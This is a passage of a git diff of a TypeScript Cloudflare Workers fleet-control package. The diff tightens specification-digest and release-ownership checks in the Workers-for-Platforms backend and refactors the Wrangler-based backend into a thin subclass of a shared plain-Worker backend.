+                  resourceGroupId: externalPlatformResourceGroupId(spec),
+                  stateScriptName: externalStateScriptName(spec),
+                  credentialDigest: createHash('sha256')
+                    .update(this.#stateEgressCredential(spec))
+                    .digest('hex'),
+                },
+              }
+            : {}),
         },
         guard,
       ),
@@ -1699,8 +1891,19 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
         `immutable release '${physicalScriptName}' does not match persisted artifact version '${expectedArtifactVersion}'`,
       );
     }
+    if (live.desiredSpecDigest !== deploymentSpecDigest(spec))
+      throw new Error(
+        'maintenance target does not match the requested specification digest',
+      );
+    const profile = this.#maintenanceSigningProfile(spec);
+    if (spec.authoredBy === 'platform')
+      this.#assertCatalogMaintenanceBindings(
+        spec,
+        live.plainTextBindings,
+        profile.maintenanceCapabilityPublicKey,
+      );
     const capability = await mintAsymmetricMaintenanceCapability({
-      privateKey: this.#capabilityPrivateKey(spec),
+      privateKey: profile.maintenanceCapabilityPrivateKey,
       operation: 'ensure-maintenance',
       tenantTag: spec.tenantTag,
       environment: spec.environment,
@@ -1719,6 +1922,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
         signal: AbortSignal.timeout(this.#maintenanceRequestTimeoutMs),
       },
     );
+    cancelBodyWithoutAwait(response.body, UNREAD_MAINTENANCE_BODY);
     const receipt = response.headers.get(MAINTENANCE_RECEIPT_HEADER);
     const result = receipt
       ? await verifyMaintenanceReceipt({
@@ -1774,24 +1978,48 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
     }
     const databaseId = live.databaseIds[0];
     if (!databaseId) throw new Error('D1 binding has no database id');
+    if (!isSha256(live.desiredSpecDigest))
+      throw new Error('dispatch Worker has no valid specification digest');
+    const targetDigest = deploymentSpecDigest(spec);
+    if (
+      (spec.authoredBy === 'external' ||
+        expectedArtifactVersion !== undefined) &&
+      live.desiredSpecDigest !== targetDigest
+    )
+      throw new Error(
+        'inspected artifact does not match the requested specification digest',
+      );
+    const profile = this.#maintenanceSigningProfile(spec);
+    if (spec.authoredBy === 'platform')
+      this.#assertCatalogMaintenanceBindings(
+        spec,
+        live.plainTextBindings,
+        profile.maintenanceCapabilityPublicKey,
+      );
     const capability = await mintAsymmetricMaintenanceCapability({
-      privateKey: this.#capabilityPrivateKey(spec),
+      privateKey: profile.maintenanceCapabilityPrivateKey,
       operation: 'maintenance-status',
       tenantTag: spec.tenantTag,
       environment: spec.environment,
       scriptName: physicalScriptName,
-      specDigest: deploymentSpecDigest(spec),
+      specDigest: live.desiredSpecDigest,
       ttlSeconds:
         Math.ceil(this.#maintenanceRequestTimeoutMs / 1_000) +
         MAINTENANCE_CAPABILITY_SKEW_SECONDS,
     });
     const response = await this.#fetch(
-      candidateMaintenanceUrl(spec, physicalScriptName, 'maintenance-status'),
+      candidateMaintenanceUrl(
+        spec,
+        physicalScriptName,
+        'maintenance-status',
+        live.desiredSpecDigest,
+      ),
       {
         headers: { authorization: `Bearer ${capability.token}` },
         signal: AbortSignal.timeout(this.#maintenanceRequestTimeoutMs),
       },
     );
+    cancelBodyWithoutAwait(response.body, UNREAD_MAINTENANCE_BODY);
     const receipt = response.headers.get(MAINTENANCE_RECEIPT_HEADER);
     const result = receipt
       ? await verifyMaintenanceReceipt({
@@ -1912,7 +2140,12 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
         activeRelease,
       );
       for (const release of releases) {
-        await this.#assertReleaseOwner(spec, release, database);
+        await this.#assertReleaseOwner(
+          spec,
+          release,
+          database,
+          retainedReleases ?? [],
+        );
       }
       for (const release of releases) {
         await this.#client.revokeDispatchSecrets(release.physicalScriptName);
@@ -1934,7 +2167,12 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
         activeRelease,
       );
       for (const release of releases) {
-        await this.#assertReleaseOwner(spec, release, database);
+        await this.#assertReleaseOwner(
+          spec,
+          release,
+          database,
+          retainedReleases ?? [],
+        );
       }
       await this.#client.deleteHostRouting(
         this.#hostRoutingKvId,
@@ -1997,26 +2235,41 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
               ) === index,
           ),
         ]
-      : [active];
+      : [routed];
   }
 
   async #assertReleaseOwner(
     spec: DeploymentSpec,
     release: ExternalReleaseSnapshot,
     database: DatabaseReference,
+    retainedReleases: readonly ExternalReleaseSnapshot[] = [],
   ): Promise<void> {
+    const expected =
+      spec.authoredBy === 'platform'
+        ? [release, ...retainedReleases]
+        : [release];
+    if (
+      spec.authoredBy === 'platform' &&
+      expected.some((target) => target.physicalScriptName !== spec.scriptName)
+    )
+      throw new Error(
+        'catalog teardown authority contains a different physical script',
+      );
     const live = await this.#inspectDispatchWorker(release.physicalScriptName);
     if (!live) return;
     if (
       live.tenantTag !== spec.tenantTag ||
       live.environment !== spec.environment ||
-      live.desiredSpecDigest !== release.specDigest ||
-      live.schemaVersion !== release.releaseSchemaVersion ||
+      !expected.some(
+        (target) =>
+          live.desiredSpecDigest === target.specDigest &&
+          live.schemaVersion === target.releaseSchemaVersion &&
+          (target.artifactVersion === '' ||
+            target.artifactVersion === 'pending' ||
+            live.artifactVersion === target.artifactVersion),
+      ) ||
       live.databaseIds.length !== 1 ||
       live.databaseIds[0] !== database.id ||
-      (release.artifactVersion !== '' &&
-        release.artifactVersion !== 'pending' &&
-        live.artifactVersion !== release.artifactVersion) ||
       (spec.authoredBy === 'external' && live.durableObjectTag !== undefined)
     ) {
       throw new Error(
@@ -2037,7 +2290,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
       activeRelease,
     );
     for (const release of releases) {
-      await this.#assertReleaseOwner(spec, release, database);
+      await this.#assertReleaseOwner(spec, release, database, retainedReleases);
     }
     await this.assertTrafficRemoved(spec);
     const errors: unknown[] = [];
@@ -2113,7 +2366,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
     });
   }
 
-  async assertDatabaseDetached(
+  async #assertDatabaseResidualIdentity(
     spec: DeploymentSpec,
     record: FleetRecord,
     database: DatabaseReference,
@@ -2121,6 +2374,14 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
   ): Promise<void> {
     await fence.assertOwned();
     if (
+      (Object.hasOwn(record, 'wfpMode') && !isPlatformCatalogRecord(record)) ||
+      ((isPlatformCatalogRecord(record) || spec.authoredBy === 'platform') &&
+        (!isPlatformCatalogRecord(record) ||
+          spec.authoredBy !== 'platform' ||
+          record.scriptName !== spec.scriptName ||
+          record.platformResources !== undefined ||
+          record.platformTarget !== undefined ||
+          record.backendSwitchIntent !== undefined)) ||
       record.tenantTag !== spec.tenantTag ||
       record.environment !== spec.environment ||
       record.routeHostname !== spec.routeHostname ||
@@ -2131,6 +2392,9 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
         'refusing to attest database detachment for a different deployment',
       );
     }
+  }
+
+  async #assertHostRouteRemoved(record: FleetRecord): Promise<void> {
     if (
       (await this.#client.getHostRouting(
         this.#hostRoutingKvId,
@@ -2141,15 +2405,13 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
         `host route '${record.routeHostname}' remains before D1 deletion`,
       );
     }
-    const databaseAttachments =
-      await this.#client.listWorkerDatabaseAttachments(database.id);
-    if (databaseAttachments.length > 0) {
-      throw new Error(
-        `database '${database.id}' remains bound to Worker scripts before D1 deletion: ${databaseAttachments
-          .map((attachment) => `${attachment.plane}:${attachment.scriptName}`)
-          .join(', ')}`,
-      );
-    }
+  }
+
+  async #assertDatabaseResidualTail(
+    spec: DeploymentSpec,
+    record: FleetRecord,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
     const fallbackRelease: ExternalReleaseSnapshot = {
       physicalScriptName: this.releaseScriptName(spec),
       specDigest: deploymentSpecDigest(spec),
@@ -2188,9 +2450,13 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
         );
       }
     }
-    const stateName = externalStateScriptName(spec);
-    const proxyName = externalEgressProxyScriptName(spec);
-    for (const scriptName of [stateName, proxyName]) {
+    const catalog = isPlatformCatalogRecord(record);
+    const stateName = catalog
+      ? record.scriptName
+      : externalStateScriptName(spec);
+    for (const scriptName of catalog
+      ? []
+      : [stateName, externalEgressProxyScriptName(spec)]) {
       if (await this.#inspectControlWorker(scriptName)) {
         throw new Error(
           `trusted platform Worker '${scriptName}' remains before D1 deletion`,
@@ -2216,6 +2482,37 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
     await fence.assertOwned();
   }
 
+  async assertDatabaseDeletionResidualsRemoved(
+    spec: DeploymentSpec,
+    record: FleetRecord,
+    database: DatabaseReference,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    await this.#assertDatabaseResidualIdentity(spec, record, database, fence);
+    await this.#assertHostRouteRemoved(record);
+    await this.#assertDatabaseResidualTail(spec, record, fence);
+  }
+
+  async assertDatabaseDetached(
+    spec: DeploymentSpec,
+    record: FleetRecord,
+    database: DatabaseReference,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    await this.#assertDatabaseResidualIdentity(spec, record, database, fence);
+    await this.#assertHostRouteRemoved(record);
+    const databaseAttachments =
+      await this.#client.listWorkerDatabaseAttachments(database.id);
+    if (databaseAttachments.length > 0) {
+      throw new Error(
+        `database '${database.id}' remains bound to Worker scripts before D1 deletion: ${databaseAttachments
+          .map((attachment) => `${attachment.plane}:${attachment.scriptName}`)
+          .join(', ')}`,
+      );
+    }
+    await this.#assertDatabaseResidualTail(spec, record, fence);
+  }
+
   exportDatabase(
     database: DatabaseReference,
     fence: ExternalMutationFence,
diff --git a/packages/fleet-control/src/workers/outbound.ts b/packages/fleet-control/src/workers/outbound.ts
index 3ff8369d..35fd864e 100644
--- a/packages/fleet-control/src/workers/outbound.ts
+++ b/packages/fleet-control/src/workers/outbound.ts
@@ -13,6 +13,10 @@ import {
 } from '../deployment-context.js';
 import { parseHostRoutingTarget } from '../host-routing.js';
 
+// The HTTP statuses that carry a `Location`: an egress proxy refuses a response
+// carrying one rather than following it on the tenant's behalf.
+const REDIRECT_STATUSES: readonly number[] = [301, 302, 303, 307, 308];
+
 export interface FleetOutboundEnv {
   readonly scriptName: string;
   readonly tenantTag: string;
@@ -219,7 +223,7 @@ export default {
       }),
     );
     const response = await fetch(request, { redirect: 'manual' });
-    if ([301, 302, 303, 307, 308].includes(response.status)) {
+    if (REDIRECT_STATUSES.includes(response.status)) {
       console.warn(
         JSON.stringify({
           type: 'fleet-egress-redirect-denied',
@@ -269,7 +273,7 @@ export class StateEgress {
     const response = await fetch(stripStateEgressHeaders(request), {
       redirect: 'manual',
     });
-    if ([301, 302, 303, 307, 308].includes(response.status)) {
+    if (REDIRECT_STATUSES.includes(response.status)) {
       return new Response('egress redirect denied', { status: 502 });
     }
     return response;
diff --git a/packages/fleet-control/src/wrangler-loop-backend.ts b/packages/fleet-control/src/wrangler-loop-backend.ts
index 10229815..4f920962 100644
--- a/packages/fleet-control/src/wrangler-loop-backend.ts
+++ b/packages/fleet-control/src/wrangler-loop-backend.ts
@@ -1,234 +1,21 @@
 // SPDX-License-Identifier: Apache-2.0
 
-import { createHash } from 'node:crypto';
-import { createReadStream } from 'node:fs';
-import { chmod, mkdir, mkdtemp, rm, stat, writeFile } from 'node:fs/promises';
-import { tmpdir } from 'node:os';
-import { join, resolve } from 'node:path';
-import { Readable } from 'node:stream';
+import type { DurableDatabaseExportStore } from './database-export-store.js';
 import {
-  provisionDeploymentIdentityProtocol,
-  readDeploymentIdentityProtocol,
-} from '@proofoftech/flowsafe/deployment-identity-protocol';
-import { ActiveRouteAttestationError } from './active-route.js';
-import {
-  applicationSecretValues,
-  canonicalApplicationBindings,
-} from './application-bindings.js';
-import type { DurableDatabaseExportStore } from './cloudflare-client.js';
-import { isSha256 } from './deployment-context.js';
-import { WorkerDeploymentError } from './deployment-error.js';
-import { maintenanceUrl, readMaintenanceHealth } from './maintenance-health.js';
-import { applyMigrationsWithLedger } from './migration-ledger.js';
-import { assertSupportedProviderBindings } from './provider-binding-inventory.js';
-import { deploymentSpecDigest } from './spec-digest.js';
-import type {
-  ActiveRouteAttestation,
-  D1Migration,
-  DatabaseExport,
-  DatabaseReference,
-  DeploymentEgressPolicy,
-  DeploymentSecrets,
-  DeploymentSpec,
-  ExternalMutationFence,
-  ExternalPlatformResources,
-  ExternalReleaseSnapshot,
-  FleetRecord,
-  ForceDecommissionStep,
-  LiveDeployment,
-  MaintenanceHealth,
-  PlainWorkerCustomDomain,
-  PlainWorkerRouteApi,
-  PromotionGuard,
-  ProvisioningBackend,
-  SeedDeploymentIdentityOptions,
-} from './types.js';
-import { targetDurableObjectTag } from './validation.js';
-import type { CommandResult, CommandRunner } from './wrangler-runner.js';
-
-const PLAIN_INGRESS_CONTRACT = 'guarded-object-v1';
-const PLAIN_INGRESS_MODULE = '__anchorage_guarded_entry__.js';
-const JAVASCRIPT_CONTENT_TYPES = new Set([
-  'application/javascript',
-  'application/javascript+module',
-  'text/javascript',
-]);
-
-interface DeploymentVersion {
-  readonly id: string;
-  readonly percentage: number;
-}
-
-interface DeploymentStatus {
-  readonly versions: readonly DeploymentVersion[];
-}
-
-function parseJson(value: string, operation: string): unknown {
-  try {
-    return JSON.parse(value);
-  } catch (cause) {
-    throw new Error(`wrangler ${operation} returned invalid JSON`, { cause });
-  }
-}
-
-function asArray(value: unknown): readonly unknown[] {
-  if (Array.isArray(value)) return value;
-  if (value && typeof value === 'object' && 'result' in value) {
-    const result = (value as { result?: unknown }).result;
-    return Array.isArray(result) ? result : result ? [result] : [];
-  }
-  return [];
-}
-
-function field(value: unknown, name: string): unknown {
-  return value && typeof value === 'object'
-    ? (value as Record<string, unknown>)[name]
-    : undefined;
-}
-
-function isWranglerNotFound(error: unknown): boolean {
-  return (
-    error instanceof Error &&
-    /not found|10090|does not exist|has no deployments/i.test(error.message)
-  );
-}
-
-function restD1Bindings(
-  bindings: readonly unknown[],
-  operation: string,
-): readonly string[] {
-  if (bindings.some((binding) => typeof binding !== 'string')) {
-    throw new Error(`${operation} D1 bindings must be strings`);
-  }
-  return bindings as readonly string[];
-}
-
-function versionId(value: unknown): string | undefined {
-  const id = field(value, 'id') ?? field(value, 'version_id');
-  return typeof id === 'string' ? id : undefined;
-}
-
-function versionTag(value: unknown): string | undefined {
-  const annotations = field(value, 'annotations');
-  const tag = field(annotations, 'workers/tag') ?? field(value, 'tag');
-  return typeof tag === 'string' ? tag : undefined;
-}
-
-export function plainWorkerIngressModule(spec: DeploymentSpec): Readonly<{
-  name: string;
-  content: string;
-}> {
-  if (spec.modules.some((module) => module.name === PLAIN_INGRESS_MODULE)) {
-    throw new Error(
-      `Worker modules reserve '${PLAIN_INGRESS_MODULE}' for the guarded fleet entrypoint`,
-    );
-  }
-  const main = spec.modules.find((module) => module.name === spec.mainModule);
-  if (
-    !main ||
-    typeof main.content !== 'string' ||
-    (main.contentType !== undefined &&
-      !JAVASCRIPT_CONTENT_TYPES.has(main.contentType)) ||
-    main.name.startsWith('/') ||
-    main.name.split('/').includes('..') ||
-    /[?#\\]/u.test(main.name)
-  ) {
-    throw new Error(
-      'plain Worker mainModule must be an importable string JavaScript ES module',
-    );
-  }
-  const importSpecifier = JSON.stringify(`./${main.name}`);
-  const localClasses = [
-    ...new Set(
-      spec.durableObjectBindings.flatMap((binding) =>
-        binding.scriptName === undefined ? [binding.className] : [],
-      ),
-    ),
-  ].sort();
-  if (
-    localClasses.some(
-      (className) => !/^[A-Za-z_$][A-Za-z0-9_$]*$/u.test(className),
-    )
-  ) {
-    throw new Error(
-      'plain Worker contains an invalid local Durable Object class',
-    );
-  }
-  const reexports =
-    localClasses.length > 0
-      ? `export { ${localClasses.join(', ')} } from ${importSpecifier};\n`
-      : '';
-  const routeHostname = JSON.stringify(
-    new URL(`https://${spec.routeHostname}`).hostname
-      .toLowerCase()
-      .replace(/\.$/u, ''),
-  );
-  const controlHostname = JSON.stringify(
-    new URL(spec.maintenanceBaseUrl).hostname.toLowerCase().replace(/\.$/u, ''),
-  );
-  return {
-    name: PLAIN_INGRESS_MODULE,
-    content: `import __anchorageUserEntrypoint from ${importSpecifier};
-${reexports}if (
-  !__anchorageUserEntrypoint ||
-  typeof __anchorageUserEntrypoint !== 'object' ||
-  typeof __anchorageUserEntrypoint.fetch !== 'function'
-) {
-  throw new TypeError('plain Worker entrypoint must default-export an object with fetch');
-}
-const __anchorageUserFetch = __anchorageUserEntrypoint.fetch;
-const __anchorageRouteHostname = ${routeHostname};
-const __anchorageControlHostname = ${controlHostname};
-const __anchorageEnsurePath = '/admin/ensure-maintenance';
-const __anchorageStatusPath = '/admin/maintenance-status';
-const __anchorageReject = () => new Response(null, { status: 404 });
-export default {
-  ...__anchorageUserEntrypoint,
-  async fetch(request, env, context) {
-    const url = new URL(request.url);
-    const hostname = url.hostname.toLowerCase().replace(/\\.$/u, '');
-    if (hostname === __anchorageRouteHostname) {
-      if (request.headers.has('Cloudflare-Workers-Version-Overrides')) {
-        return __anchorageReject();
-      }
-    } else {
-      if (hostname !== __anchorageControlHostname) {
-        return __anchorageReject();
-      }
-      const validOperation =
-        (url.pathname === __anchorageEnsurePath && request.method === 'POST') ||
-        (url.pathname === __anchorageStatusPath && request.method === 'GET');
-      const authorization = request.headers.get('authorization');
-      if (
-        !validOperation ||
-        url.search !== '' ||
-        authorization === null ||
-        !/^Bearer [\\x21-\\x7e]{32,256}$/u.test(authorization)
-      ) {
-        return __anchorageReject();
-      }
-    }
-    return Reflect.apply(__anchorageUserFetch, __anchorageUserEntrypoint, [
-      request,
-      env,
-      context,
-    ]);
-  },
-};
-`,
-  };
-}
-
-export class WranglerLoopBackend implements ProvisioningBackend {
-  readonly kind = 'plain-worker' as const;
-  readonly #runner: CommandRunner;
-  readonly #routeApi: PlainWorkerRouteApi;
-  readonly #fetch: typeof fetch;
-  readonly #exportDirectory: string;
-  readonly #exportStore: DurableDatabaseExportStore;
-  readonly #maintenanceRequestTimeoutMs: number;
-  readonly #clock: () => number;
-
+  PlainWorkerBackend,
+  resolveMaintenanceRequestTimeoutMs,
+} from './plain-worker-backend.js';
+import type { PlainWorkerRouteApi } from './types.js';
+import { WranglerPlainWorkerProvisioningApi } from './wrangler-plain-worker-provisioning-api.js';
+import type { CommandRunner } from './wrangler-runner.js';
+
+/**
+ * Ordinary-Worker backend backed by Wrangler command execution.
+ *
+ * Active-route attestation reads through the provider API because Wrangler CLI
+ * reads run outside the shared quota coordinator.
+ */
+export class WranglerLoopBackend extends PlainWorkerBackend {
   constructor(options: {
     readonly runner: CommandRunner;
     readonly routeApi: PlainWorkerRouteApi;
@@ -239,1926 +26,31 @@ export class WranglerLoopBackend implements ProvisioningBackend {
     /** Stamps `observedAt` on an attestation. Injected so it can be pinned. */
     readonly clock?: () => number;
   }) {
-    if (!options.exportDirectory)
-      throw new Error('exportDirectory is required');
-    if (!options.exportStore) throw new Error('exportStore is required');
-    if (!options.routeApi) throw new Error('routeApi is required');
-    const maintenanceRequestTimeoutMs =
-      options.maintenanceRequestTimeoutMs ?? 30_000;
-    if (
-      !Number.isSafeInteger(maintenanceRequestTimeoutMs) ||
-      maintenanceRequestTimeoutMs < 1
-    ) {
-      throw new Error('maintenance request timeout must be positive');
-    }
-    this.#runner = options.runner;
-    this.#routeApi = options.routeApi;
-    this.#fetch = options.fetch ?? fetch;
-    this.#exportDirectory = resolve(options.exportDirectory);
-    this.#exportStore = options.exportStore;
-    this.#maintenanceRequestTimeoutMs = maintenanceRequestTimeoutMs;
-    this.#clock = options.clock ?? Date.now;
-  }
-
-  async #assertMutationFence(fence: ExternalMutationFence): Promise<void> {
-    if (
-      !Number.isSafeInteger(fence.mutationLeaseTtlMs) ||
-      fence.mutationLeaseTtlMs < 1
-    ) {
-      throw new Error('external mutation fence lease TTL must be positive');
-    }
-    if (
-      !Number.isSafeInteger(this.#runner.maxDurationMs) ||
-      this.#runner.maxDurationMs < 1
-    ) {
-      throw new Error('Wrangler command maximum duration must be positive');
-    }
-    if (this.#runner.maxDurationMs >= fence.mutationLeaseTtlMs) {
-      throw new Error(
-        'Wrangler command maximum duration must be below the external mutation fence lease TTL',
-      );
-    }
-    await fence.assertOwned();
-  }
-
-  async #runMutation(
-    fence: ExternalMutationFence,
-    arguments_: readonly string[],
-    options?: { readonly input?: string; readonly cwd?: string },
-  ): Promise<CommandResult> {
-    await this.#assertMutationFence(fence);
-    return this.#runner.run(arguments_, options);
-  }
-
-  async findDatabase(
-    spec: DeploymentSpec,
-  ): Promise<DatabaseReference | undefined> {
-    const listed = await this.#runner.run(['d1', 'list', '--json']);
-    const matches = asArray(parseJson(listed.stdout, 'd1 list')).filter(
-      (database) => field(database, 'name') === spec.databaseName,
-    );
-    if (matches.length > 1) {
-      throw new Error(`multiple D1 databases are named '${spec.databaseName}'`);
-    }
-    if (matches[0]) {
-      const id = field(matches[0], 'uuid');
-      if (typeof id !== 'string') throw new Error('D1 list result has no uuid');
-      return { id, name: spec.databaseName, created: false };
-    }
-    return undefined;
-  }
-
-  async getDatabase(
-    databaseId: string,
-  ): Promise<DatabaseReference | undefined> {
-    const getDatabase = this.#routeApi.getDatabase;
-    if (getDatabase) {
-      return getDatabase.call(this.#routeApi, databaseId);
-    }
-    let result: CommandResult;
-    try {
-      result = await this.#runner.run(['d1', 'info', databaseId, '--json']);
-    } catch (error) {
-      if (isWranglerNotFound(error)) return undefined;
-      throw error;
-    }
-    const parsed = parseJson(result.stdout, 'd1 info');
-    const body = field(parsed, 'result') ?? parsed;
-    const id = field(body, 'uuid');
-    const name = field(body, 'name');
-    if (id !== databaseId || typeof name !== 'string' || name.length === 0) {
-      throw new Error('D1 info result has an invalid uuid or name');
-    }
-    return { id: databaseId, name, created: false };
-  }
-
-  async ensureDatabase(
-    spec: DeploymentSpec,
-    fence: ExternalMutationFence,
-  ): Promise<DatabaseReference> {
-    await this.#assertMutationFence(fence);
-    try {
-      await this.#runner.run(['d1', 'create', spec.databaseName]);
-    } catch (cause) {
-      const recovered = await this.findDatabase(spec);
-      if (recovered) {
-        const owner = await this.readDeploymentIdentity(recovered, fence);
-        if (owner !== undefined) {
-          throw new Error(
-            `refusing authorized database reconciliation for '${recovered.id}' owned by '${owner}'`,
-            { cause },
-          );
-        }
-        return { ...recovered, created: true };
-      }
-      throw cause;
-    }
-    const resolved = await this.findDatabase(spec);
-    if (!resolved) {
-      throw new Error(
-        `D1 database '${spec.databaseName}' is absent after successful creation`,
-      );
-    }
-    return { ...resolved, created: true };
-  }
-
-  async #query(
-    database: DatabaseReference,
-    sql: string,
-    fence: ExternalMutationFence,
-    bindings: readonly unknown[] = [],
-  ): Promise<readonly Readonly<Record<string, unknown>>[]> {
-    return this.#routeApi.withMutationFence(fence, () =>
-      this.#routeApi.queryDatabase(
-        database.id,
-        sql,
-        restD1Bindings(bindings, 'plain Worker'),
-      ),
-    );
-  }
-
-  async seedDeploymentIdentity(
-    database: DatabaseReference,
-    tenantTag: string,
-    fence: ExternalMutationFence,
-    options: SeedDeploymentIdentityOptions,
-  ): Promise<void> {
-    await provisionDeploymentIdentityProtocol(
-      (statement) =>
-        this.#query(database, statement.sql, fence, statement.bindings),
-      tenantTag,
-      {
-        caller: 'WranglerLoopBackend.seedDeploymentIdentity',
-        initialExecutionFenceState: options.initialExecutionFenceState,
-      },
-    );
-  }
-
-  readDeploymentIdentity(
-    database: DatabaseReference,
-    fence: ExternalMutationFence,
-  ): Promise<string | undefined> {
-    return readDeploymentIdentityProtocol((statement) =>
-      this.#query(database, statement.sql, fence, statement.bindings),
-    );
-  }
-
-  async applyMigrations(
-    database: DatabaseReference,
-    migrations: readonly D1Migration[],
-    fence: ExternalMutationFence,
-  ): Promise<void> {
-    await applyMigrationsWithLedger(
-      {
-        query: (sql, bindings) => this.#query(database, sql, fence, bindings),
-        batch: (statements) =>
-          this.#routeApi.withMutationFence(fence, () =>
-            this.#routeApi.batchDatabase(
-              database.id,
-              statements.map((statement) => ({
-                sql: statement.sql,
-                bindings: restD1Bindings(
-                  statement.bindings ?? [],
-                  'plain Worker batch',
-                ),
-              })),
-            ),
-          ),
-      },
-      migrations,
-    );
-  }
-
-  async findApplicationR2Bucket(
-    resource: import('./types.js').ApplicationR2Binding,
-  ): Promise<import('./types.js').ApplicationR2BucketSnapshot | undefined> {
-    if (!this.#routeApi.getR2Bucket) {
-      throw new Error('plain Worker route API does not support application R2');
-    }
-    const found = await this.#routeApi.getR2Bucket(
-      resource.bucketName,
-      resource.jurisdiction,
-    );
-    return found
-      ? { ...resource, creationDate: found.creationDate }
-      : undefined;
-  }
-
-  async ensureApplicationR2Bucket(
-    resource: import('./types.js').ApplicationR2Binding,
-    fence: ExternalMutationFence,
-  ): Promise<import('./types.js').ApplicationR2BucketSnapshot> {
-    if (!this.#routeApi.createR2Bucket) {
-      throw new Error('plain Worker route API does not support application R2');
-    }
-    try {
-      await this.#routeApi.createR2Bucket(resource, fence);
-    } catch (error) {
-      const reconciled = await this.findApplicationR2Bucket(resource);
-      if (reconciled) return reconciled;
-      if (
-        error &&
-        typeof error === 'object' &&
-        'status' in error &&
-        error.status === 409
-      ) {
-        throw new Error(
-          `R2 bucket '${resource.bucketName}' conflicts with a foreign resource`,
-        );
-      }
-      throw error;
-    }
-    const confirmed = await this.findApplicationR2Bucket(resource);
-    if (!confirmed)
-      throw new Error(
-        `R2 bucket '${resource.bucketName}' is absent after create`,
-      );
-    return confirmed;
-  }
-
-  async assertApplicationR2Detached(
-    resource: import('./types.js').ApplicationR2Binding,
-    _fence: ExternalMutationFence,
-  ): Promise<void> {
-    if (!this.#routeApi.listWorkerR2Attachments) {
-      throw new Error('plain Worker route API cannot scan R2 attachments');
-    }
-    const attachments = await this.#routeApi.listWorkerR2Attachments(
-      resource.bucketName,
-    );
-    if (attachments.length > 0) {
-      throw new Error(
-        `R2 bucket '${resource.bucketName}' remains attached to a Worker`,
-      );
-    }
-  }
-
-  async assertApplicationR2Empty(
-    resource: import('./types.js').ApplicationR2Binding,
-    _fence: ExternalMutationFence,
-  ): Promise<void> {
-    if (!this.#routeApi.assertR2BucketEmpty) {
-      throw new Error('plain Worker route API cannot inspect R2 contents');
-    }
-    await this.#routeApi.assertR2BucketEmpty(resource);
-  }
-
-  async deleteApplicationR2Bucket(
-    resource: import('./types.js').ApplicationR2Binding,
-    fence: ExternalMutationFence,
-  ): Promise<void> {
-    if (!this.#routeApi.deleteR2Bucket) {
-      throw new Error('plain Worker route API cannot delete application R2');
-    }
-    const current = await this.findApplicationR2Bucket(resource);
-    if (!current || current.creationDate !== resource.creationDate) {
-      throw new Error(`R2 bucket '${resource.bucketName}' ownership changed`);
-    }
-    await this.#routeApi.deleteR2Bucket(resource, fence);
-    if (await this.findApplicationR2Bucket(resource)) {
-      throw new Error(
-        `R2 bucket '${resource.bucketName}' remains after delete`,
-      );
-    }
-  }
-
-  async #deploymentStatus(
-    spec: DeploymentSpec,
-  ): Promise<DeploymentStatus | undefined> {
-    let result: CommandResult;
-    try {
-      result = await this.#runner.run([
-        'deployments',
-        'status',
-        '--name',
-        spec.scriptName,
-        '--json',
-      ]);
-    } catch (error) {
-      if (isWranglerNotFound(error)) return undefined;
-      throw error;
-    }
-    const parsed = parseJson(result.stdout, 'deployments status');
-    const body = field(parsed, 'result') ?? parsed;
-    const versions = asArray(field(body, 'versions')).map((version) => {
-      const id = versionId(version);
-      const percentage = Number(field(version, 'percentage'));
-      if (!id || !Number.isFinite(percentage) || percentage < 0) {
-        throw new Error('wrangler deployment status has an invalid version');
-      }
-      return { id, percentage };
-    });
-    if (versions.length === 0) {
-      throw new Error('wrangler deployment status has no versions');
-    }
-    return { versions };
-  }
-
-  async #listVersions(
-    spec: DeploymentSpec,
-  ): Promise<readonly unknown[] | undefined> {
-    try {
-      const listed = await this.#runner.run([
-        'versions',
-        'list',
-        '--name',
-        spec.scriptName,
-        '--json',
-      ]);
-      return asArray(parseJson(listed.stdout, 'versions list'));
-    } catch (error) {
-      if (isWranglerNotFound(error)) return undefined;
-      throw error;
-    }
-  }
-
-  async #viewVersion(spec: DeploymentSpec, id: string): Promise<unknown> {
-    const viewed = await this.#runner.run([
-      'versions',
-      'view',
-      id,
-      '--name',
-      spec.scriptName,
-      '--json',
-    ]);
-    return parseJson(viewed.stdout, 'versions view');
-  }
-
-  #plainTextBindings(version: unknown): ReadonlyMap<string, string> {
-    const resources = field(version, 'resources');
-    const bindings = asArray(field(resources, 'bindings'));
-    return new Map(
-      bindings.flatMap((binding) => {
-        if (field(binding, 'type') !== 'plain_text') return [];
-        const name = field(binding, 'name');
-        const text = field(binding, 'text');
-        return typeof name === 'string' && typeof text === 'string'
-          ? [[name, text] as const]
-          : [];
+    const {
+      runner,
+      routeApi,
+      exportDirectory,
+      exportStore,
+      fetch: fetchImplementation,
+      maintenanceRequestTimeoutMs,
+      clock,
+    } = options;
+    if (!exportDirectory) throw new Error('exportDirectory is required');
+    if (!exportStore) throw new Error('exportStore is required');
+    if (!routeApi) throw new Error('routeApi is required');
+    const resolvedMaintenanceRequestTimeoutMs =
+      resolveMaintenanceRequestTimeoutMs(maintenanceRequestTimeoutMs);
+    super({
+      api: new WranglerPlainWorkerProvisioningApi({
+        runner,
+        routeApi,
+        exportDirectory,
+        exportStore,
       }),
-    );
-  }
-
-  async #matchingCandidateIds(
-    spec: DeploymentSpec,
-    versions?: readonly unknown[],
-  ): Promise<readonly string[]> {
-    const digest = deploymentSpecDigest(spec);
-    const listed = versions ?? (await this.#listVersions(spec));
-    if (!listed) return [];
-    const tagged = listed.filter((version) => versionTag(version) === digest);
-    const matches: string[] = [];
-    for (const candidate of tagged) {
-      const id = versionId(candidate);
-      if (!id) {
-        throw new Error('wrangler versions list result has no version id');
-      }
-      const version = await this.#viewVersion(spec, id);
-      const plainText = this.#plainTextBindings(version);
